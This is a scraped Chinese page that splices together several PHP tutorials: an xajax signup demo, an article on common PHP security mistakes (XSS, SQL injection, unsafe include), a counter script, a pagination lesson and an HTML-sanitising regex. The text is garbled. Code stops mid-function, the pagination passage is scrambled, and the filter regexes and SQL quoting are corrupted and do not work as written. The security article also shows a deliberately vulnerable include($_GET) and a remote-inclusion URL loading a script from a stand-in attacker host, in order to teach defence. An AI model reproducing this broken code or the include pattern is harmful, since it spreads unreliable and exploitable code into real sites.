xajax功能很简单,但很灵活!~它不象其它一些大的框架,功能确实强大,但执行速度不敢恭维。。功能虽多,但不够灵活。api多,学起来简直如同学习一门新的语言。
xajax就没那么复杂,手册只有一页html,如下:
http://javascript.chinahtml.com/2006/javascript-11398213503517.shtml
二、xajax功能介绍
xajax的功能比较简单,但就因为简单,所以灵活。同时,这也要求使用者要对javascript / vbs 客户端脚本有一定的了解。因为它的功能是比较活的。可以说单纯使用xajax,什么也做不出,但配合js / vbs 又什么都做的出。
xajax主要是使用xajaxResponse这个类,它提供了一些方法,举例如下:
1、addAlert($sMsg)
弹出警告
2、addscript($sJS)
执行某段js
3、$objResponse->addAssign("","","")
给页面中的某个元素附值,或者修改其属性
等等。。。。
所以xajax不是死的,它不能做出XXX XXX功能来,但是它可以灵活的控制客户端的js / vbs,去完成我们要实现的效果。
三、xajax安装配置
不需要特别的安装和配置,只要下载其文件包,解压到网站目录中
下载地址:
http://www.xajaxproject.org/
三、用xajax做会员注册和登陆
1、数据库
采用mysql5.0,数据库名zl 表名zl_user 表结构
id int(11) auto_increment
zl_user varchar(50)
zl_pwd varchar(50)
email varchar(50)
2、reg.php 注册文件(内有说明)
<?php
require_once("inc/xajax.inc.php");
//使用xajax则必须首先引入xajax.inc.php
$xajax = new xajax("inc/signup.php");
//创建一个xajax对象,为singup.php
$xajax->registerFunction("processForm");
//使用singup.php里的processForm函数
?>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<link rel="stylesheet" href="http://blogbeta./css/style.css" type="text/css">
<title>无标题文档</title>
<?php $xajax->printJavascript(''inc/''); ?>
<script type="text/javascript">
function submitSignup()
{
xajax.$(''submitButton'').disabled=true;
& PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种
1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET[''usename''] ;
这个例子有可能输出:
<scrīpt>/*更改admin密码的脚本或设置cookie的脚本*/</scrīpt>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >'', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET[''username''], ENT_QUOTES);
2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:
<?php
$sql = "UPDATE users SET
name=''.mysql_real_escape_string($name).''
WHERE id=''.mysql_real_escape_string ($id).''";
mysql_query($sql);
?>
3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]
每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。
如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off
。
4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET[''filename'']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
<?php
require_once(''config.php'');
function counter()
{
session_start();
$sql="select counter from counter";
$result=@mysql_query($sql);
if(!empty($result))
{
$row=mysql_fetch_array($result);
$counter=++$row[counter];
if(!$_SESSION[''counter''])
{
$query="update counter set counter=$counter";
$result=@mysql_query($query);
if($result)
{
$_SESSION[''counter'']=true;
}
}
$counter_len=strlen($counter);
for($i=0;$i<$counter_len;$i++)
{
$number=substr($counter,$i,1);
if(isset($number))
{
echo "<img src=''image/".$number.".gif''>";
}
}
}
}
?>
www.cnjiaocheng.com
1、前言 分页显示是一种非常常见的浏览和显示大量数据的方法,属于web编程中最常处理的事件之一。对于web编程的老手来说,编写这种代码实在是和呼吸一样自然,但是对于初学者来说,常常对这个问题摸不着头绪,因此特地撰写此文对这个问题进行详细的讲解,力求让看完这篇文章的朋友在看完以后对于分页显示的原理和实现方法有所了解。本文适合初学者阅读,所有示例代码均使用php编写。 2、原理 所谓分页显示,也就是将数据库中的结果集人为的分成一段一段的来显示,这里需要两个初始的参数: 每页多少条记录($PageSize)? 现在只要再给我一个结果集,我就可以显示某段特定的结果出来。 前10条记录:select * from table limit 0,10 这一组sql语句其实就是当$PageSize=10的时候取表内每一页数据的sql语句,我们可以总结出这样一个模板: select * from table limit ($CurrentPageID - 1) * $PageSize, $PageSize 拿这个模板代入对应的值和上边那一组sql语句对照一下看看是不是那么回事。搞定了最重要的如何获取数据的问题以后,剩下的就仅仅是传递参数,构造合适的sql语句然后使用php从数据库内获取数据并显示了。以下我将用具体代码加以说明。 3、简单代码 <?php
当前是第几页($CurrentPageID)?
至于其他的参数,比如:上一页($PreviousPageID)、下一页($NextPageID)、总页数($numPages)等等,都可以根据前边这几个东西得到。
以mysql数据库为例,如果要从表内截取某段内容,sql语句可以用:select * from table limit offset, rows。看看下面一组sql语句,尝试一下发现其中的规率。
第11至20条记录:select * from table limit 10,10
第21至30条记录:select * from table limit 20,10
……
请详细阅读以下代码,自己调试运行一次,最好把它修改一次,加上自己的功能,比如搜索等等。
// 建立数据库连接
$link = mysql_connect("localhost", "mysql_user", "mysql_password")
or die("Could not connect: " . mysql_error());
// 获取当前页数
if( isset($_GET[''page'']) ){
$page = intval( $_GET[''page''] );
}
else{
$page = 1;
}
// 每页数量
$PageSize = 10;
// 获取总数据量
$sql = "select count(*) as amount from table";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$amount = $row[''amount''];
// 记算总共有多少页
if( $amount ){
if( $amount < $page_size ){ $page_count = 1; }
以下是引用片段:
#用户发布的html,过滤危险代码
function uh($str)
{
$farr = array(
"/s+/", //过滤多余的空白
"/<(/?)(scrīpt|i?frame|style|html|body|title|link|meta|?|%)([^>]*?)>/isU", //过滤 <scrīpt 等可能引入恶意内容或恶意改变显示布局的代码,如果不需要插入flash等,还可以加入<object的过滤
"/(<[^>]*)on[a-zA-Z]+s*=([^>]*>)/isU", //过滤javascrīpt的on事件
);
$tarr = array(
" ",
"<\1\2\3>", //如果要直接清除不安全的标签,这里可以留空
"\1\2",
);
$str = preg_replace( $farr,$tarr,$str);
return $str;
}
您可能感兴趣的文章:
轻松学习C#的基础入门 2020-06-25photoshop画斜线/直线/虚线的入门级教程 2016-09-14jquery Ajax实现Select动态添加数据 2017-06-15react hooks入门详细教程 2021-04-06基于BootStrap Metronic开发框架经验小结【八】框架功能总体界面介绍 2016-05-14vue.js 表格分页ajax 异步加载数据 2016-10-20.net数据库操作框架SqlSugar的简单入门 2021-09-22JS基于MSClass和setInterval实现ajax定时采集信息并滚动显示的方法 2016-04-19CI框架开发新浪微博登录接口源码完整版 2014-05-31记一次EFCore类型转换错误及解决方案 2021-09-22jQuery+ajax简单实现文件上传的方法 2016-06-12Bootstrap进度条与AJAX后端数据传递结合使用实例详解 2017-04-27jQuery UI结合Ajax创建可定制的Web界面 2016-06-24c# 常用框架汇总 2021-04-24js实现ajax的用户简单登入功能 2020-06-1920分钟MySQL基础入门 2016-12-02jQuery中通过ajax的get()函数读取页面的方法 2016-03-01jquery ajax局部加载方法详解(实现代码) 2016-05-14PHP+jQuery+Ajax实现多图片上传效果 2015-03-15Java SSM框架如何添加写日志功能 2020-09-25